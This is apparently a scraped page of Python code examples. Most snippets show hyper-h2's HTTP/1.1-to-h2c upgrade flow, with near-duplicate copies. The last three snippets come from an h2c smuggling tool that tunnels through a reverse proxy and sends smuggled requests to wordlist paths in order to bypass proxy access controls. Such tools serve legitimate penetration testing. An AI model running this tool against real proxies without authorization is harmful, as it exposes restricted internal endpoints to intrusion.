Exemple #1
0
def main():
    """
    The server upgrade flow.
    """
    # Step 1: Establish the TCP connecton.
    connection = establish_tcp_connection()

    # Step 2: Read the response. We expect this to request an upgrade.
    settings_header_value = receive_initial_request(connection)

    # Step 3: Create a H2Connection object in server mode, and pass it the
    # value of the HTTP2-Settings header field.
    config = h2.config.H2Configuration(client_side=False)
    h2_connection = h2.connection.H2Connection(config=config)
    h2_connection.initiate_upgrade_connection(
        settings_header=settings_header_value)

    # Step 4: Send the 101 Switching Protocols response.
    send_upgrade_response(connection)

    # Step 5: Send pending HTTP/2 data.
    connection.sendall(h2_connection.data_to_send())

    # At this point, you can enter your main loop. The first step has to be to
    # send the response to the initial HTTP/1.1 request you received on stream
    # 1.
    main_loop()
def main():
    """
    The server upgrade flow.
    """
    # Step 1: Establish the TCP connecton.
    connection = establish_tcp_connection()

    # Step 2: Read the response. We expect this to request an upgrade.
    settings_header_value = receive_initial_request(connection)

    # Step 3: Create a H2Connection object in server mode, and pass it the
    # value of the HTTP2-Settings header field.
    h2_connection = h2.connection.H2Connection(client_side=False)
    h2_connection.initiate_upgrade_connection(settings_header=settings_header_value)

    # Step 4: Send the 101 Switching Protocols response.
    send_upgrade_response(connection)

    # Step 5: Send pending HTTP/2 data.
    connection.sendall(h2_connection.data_to_send())

    # At this point, you can enter your main loop. The first step has to be to
    # send the response to the initial HTTP/1.1 request you received on stream
    # 1.
    main_loop()
Exemple #3
0
def main():
    """
    The client upgrade flow.
    """
    # Step 1: Establish the TCP connecton.
    connection = establish_tcp_connection()

    # Step 2: Create H2 Connection object, put it in upgrade mode, and get the
    # value of the HTTP2-Settings header we want to use.
    h2_connection = h2.connection.H2Connection()
    settings_header_value = h2_connection.initiate_upgrade_connection()

    # Step 3: Send the initial HTTP/1.1 request with the upgrade fields.
    send_initial_request(connection, settings_header_value)

    # Step 4: Read the HTTP/1.1 response, look for 101 response.
    extra_data = get_upgrade_response(connection)

    # Step 5: Immediately send the pending HTTP/2 data.
    connection.sendall(h2_connection.data_to_send())

    # Step 6: Feed the body data to the connection.
    events = connection.receive_data(extra_data)

    # Now you can enter your main loop, beginning by processing the first set
    # of events above. These events may include ResponseReceived, which will
    # contain the response to the request we made in Step 3.
    main_loop(events)
def main():
    """
    The client upgrade flow.
    """
    # Step 1: Establish the TCP connecton.
    connection = establish_tcp_connection()

    # Step 2: Create H2 Connection object, put it in upgrade mode, and get the
    # value of the HTTP2-Settings header we want to use.
    h2_connection = h2.connection.H2Connection()
    settings_header_value = h2_connection.initiate_upgrade_connection()

    # Step 3: Send the initial HTTP/1.1 request with the upgrade fields.
    send_initial_request(connection, settings_header_value)

    # Step 4: Read the HTTP/1.1 response, look for 101 response.
    extra_data = get_upgrade_response(connection)

    # Step 5: Immediately send the pending HTTP/2 data.
    connection.sendall(h2_connection.data_to_send())

    # Step 6: Feed the body data to the connection.
    events = connection.receive_data(extra_data)

    # Now you can enter your main loop, beginning by processing the first set
    # of events above. These events may include ResponseReceived, which will
    # contain the response to the request we made in Step 3.
    main_loop(events)
Exemple #5
0
def send_upgrade_response(connection):
    """
    This function writes the 101 Switching Protocols response.
    """
    response = (b"HTTP/1.1 101 Switching Protocols\r\n"
                b"Upgrade: h2c\r\n"
                b"\r\n")
    connection.sendall(response)
def send_upgrade_response(connection):
    """
    This function writes the 101 Switching Protocols response.
    """
    response = (
        b"HTTP/1.1 101 Switching Protocols\r\n"
        b"Upgrade: h2c\r\n"
        b"\r\n"
    )
    connection.sendall(response)
Exemple #7
0
def send_initial_request(connection, settings):
    """
    For the sake of this upgrade demonstration, we're going to issue a GET
    request against the root of the site. In principle the best request to
    issue for an upgrade is actually ``OPTIONS *``, but this is remarkably
    poorly supported and can break in weird ways.
    """
    # Craft our initial request per RFC 7540 Section 3.2. This requires two
    # special header fields: the Upgrade headre, and the HTTP2-Settings header.
    # The value of the HTTP2-Settings header field comes from h2.
    request = (b"GET / HTTP/1.1\r\n" + b"Host: localhost\r\n" +
               b"Upgrade: h2c\r\n" + b"HTTP2-Settings: " + settings + "\r\n"
               b"\r\n")
    connection.sendall(request)
def send_initial_request(connection, settings):
    """
    For the sake of this upgrade demonstration, we're going to issue a GET
    request against the root of the site. In principle the best request to
    issue for an upgrade is actually ``OPTIONS *``, but this is remarkably
    poorly supported and can break in weird ways.
    """
    # Craft our initial request per RFC 7540 Section 3.2. This requires two
    # special header fields: the Upgrade headre, and the HTTP2-Settings header.
    # The value of the HTTP2-Settings header field comes from h2.
    request = (
        b"GET / HTTP/1.1\r\n" +
        b"Host: localhost\r\n" +
        b"Upgrade: h2c\r\n" +
        b"HTTP2-Settings: " + settings + "\r\n"
        b"\r\n"
    )
    connection.sendall(request)
Exemple #9
0
def send_initial_request(connection, proxy_url, settings):
    global UPGRADE_ONLY
    path = proxy_url.path or "/"

    addl_conn_str = b", HTTP2-Settings"
    if UPGRADE_ONLY:
        addl_conn_str = b""

    request = (
        b"GET " + path.encode('utf-8') + b" HTTP/1.1\r\n" + b"Host: " +
        proxy_url.hostname.encode('utf-8') + b"\r\n" + b"Accept: */*\r\n" +
        b"Accept-Language: en\r\n" + b"Upgrade: h2c\r\n" +
        # b"HTTP2-Settings: " + settings + b"\r\n" +
        #
        # hyper-h2 base64-encoded settings contain '_' chars, which although
        # allowed by spec triggered errors on some faulty h2c implementatons.
        b"HTTP2-Settings: " + b"AAMAAABkAARAAAAAAAIAAAAA" + b"\r\n" +
        b"Connection: Upgrade" + addl_conn_str + b"\r\n" + b"\r\n")
    connection.sendall(request)
Exemple #10
0
def sendSmuggledRequest(h2_connection, connection, smuggled_request_headers,
                        args):

    stream_id = h2_connection.get_next_available_stream_id()

    # Custom Step 2: Send new request on new stream id
    h2_connection.send_headers(stream_id,
                               smuggled_request_headers,
                               end_stream=args.data is None)
    # Custom Step 3: Immediately send the pending HTTP/2 data.
    connection.sendall(h2_connection.data_to_send())

    if args.data:
        sendData(h2_connection, connection, args.data.encode("UTF-8"),
                 stream_id)

    # Custom Step 4: Receive data and process
    events = getData(h2_connection, connection)
    handle_events(events, args.verbose)
Exemple #11
0
def main(args):
    """
    The client upgrade flow.
    """
    proxy_url = urlparse(args.proxy)

    # Step 1: Establish the TCP connecton.
    connection = establish_tcp_connection(proxy_url)

    # Step 2: Create H2 Connection object, put it in upgrade mode, and get the
    # value of the HTTP2-Settings header we want to use.
    h2_connection = h2.connection.H2Connection()
    settings_header_value = h2_connection.initiate_upgrade_connection()

    # Step 3: Send the initial HTTP/1.1 request with the upgrade fields.
    send_initial_request(connection, proxy_url, settings_header_value)

    # Step 4: Read the HTTP/1.1 response, look for 101 response.
    extra_data = get_upgrade_response(connection)
    print("[INFO] h2c stream established successfully.")
    if args.test:
        print("[INFO] Success! " + args.proxy + " can be used for tunneling")
        sys.exit(0)

    # Step 5: Immediately send the pending HTTP/2 data.
    connection.sendall(h2_connection.data_to_send())

    # Step 6: Feed the body data to the connection.
    events = h2_connection.receive_data(extra_data)

    # Step 7 Receive data and process
    events = getData(h2_connection, connection)

    connection.sendall(h2_connection.data_to_send())

    handle_events(events, args.verbose)

    # Craft request headers and grab next available stream id
    if args.wordlist:
        with open(args.wordlist) as fd:
            urls = [urlparse(urljoin(args.url, url.strip()))
                    for url in fd.readlines()]
    else:
        urls = [urlparse(args.url)]

    for url in urls:
        path = url.path or "/"

        smuggled_request_headers = [
            (':method', args.request),
            (':authority', url.hostname),
            (':scheme', url.scheme),
            (':path', path),
        ]

        # Add user-defined headers
        if args.header:
            for header in args.header:
                smuggled_request_headers.append(tuple(header.split(": ")))

        # Send request
        print("[INFO] Requesting - " + path)
        sendSmuggledRequest(h2_connection,
                            connection,
                            smuggled_request_headers,
                            args)

    # Terminate connection
    h2_connection.close_connection()
    connection.sendall(h2_connection.data_to_send())
    connection.shutdown(socket.SHUT_RDWR)
    connection.close()
def main(args):
    """
    The client upgrade flow.
    """
    if not args.proxy.startswith("http"):
        print("[ERROR]: invalid protocol: " + args.proxy, file=sys.stderr)
        sys.exit(1)

    proxy_url = urlparse(args.proxy)

    # Step 1: Establish the TCP connecton.
    connection = establish_tcp_connection(proxy_url)

    # Step 2: Create H2 Connection object, put it in upgrade mode, and get the
    # value of the HTTP2-Settings header we want to use.
    h2_connection = h2.connection.H2Connection()
    settings_header_value = h2_connection.initiate_upgrade_connection()

    # Step 3: Send the initial HTTP/1.1 request with the upgrade fields.
    send_initial_request(connection, proxy_url, settings_header_value)

    # Step 4: Read the HTTP/1.1 response, look for 101 response.
    extra_data, success = get_upgrade_response(connection, proxy_url)

    if not success:
        sys.exit(1)

    print("[INFO] h2c stream established successfully.")
    if args.test:
        print("[INFO] Success! " + args.proxy + " can be used for tunneling")
        sys.exit(0)

    import time
    #  time.sleep(2)

    # Step 5: Immediately send the pending HTTP/2 data.
    # This must send the http pri request that establishes http2
    # also appears to send the initial get request again
    d = h2_connection.data_to_send()
    #  print("data to send ", d)
    connection.sendall(d)

    # Step 6: Feed the body data to the connection.
    events = h2_connection.receive_data(extra_data)

    # Step 7 Receive data and process
    events = getData(h2_connection, connection)

    # We then have recieved the response

    handle_events(events, [(), ('host', proxy_url.netloc), (),
                           ('path', proxy_url.path)], args.verbose)

    # This is an ack
    d = h2_connection.data_to_send()
    #  print("data to send", d)

    connection.sendall(d)

    # Craft request headers and grab next available stream id
    if args.wordlist:
        with open(args.wordlist) as fd:
            urls = [
                urlparse(urljoin(args.url, url.strip()))
                for url in fd.readlines()
            ]
    else:
        urls = [urlparse(args.url)]

    import time
    #  time.sleep(5)
    for url in urls:
        path = url.path or "/"

        smuggled_request_headers = [
            (':method', args.request),
            (':authority', url.hostname),
            (':scheme', url.scheme),
            (':path', path),
        ]

        # Add user-defined headers
        if args.header:
            for header in args.header:
                smuggled_request_headers.append(tuple(header.split(": ")))

        # Send request
        print("[INFO] Requesting - " + path)
        sendSmuggledRequest(h2_connection, connection,
                            smuggled_request_headers, args)

    # Terminate connection
    h2_connection.close_connection()
    connection.sendall(h2_connection.data_to_send())
    connection.shutdown(socket.SHUT_RDWR)
    connection.close()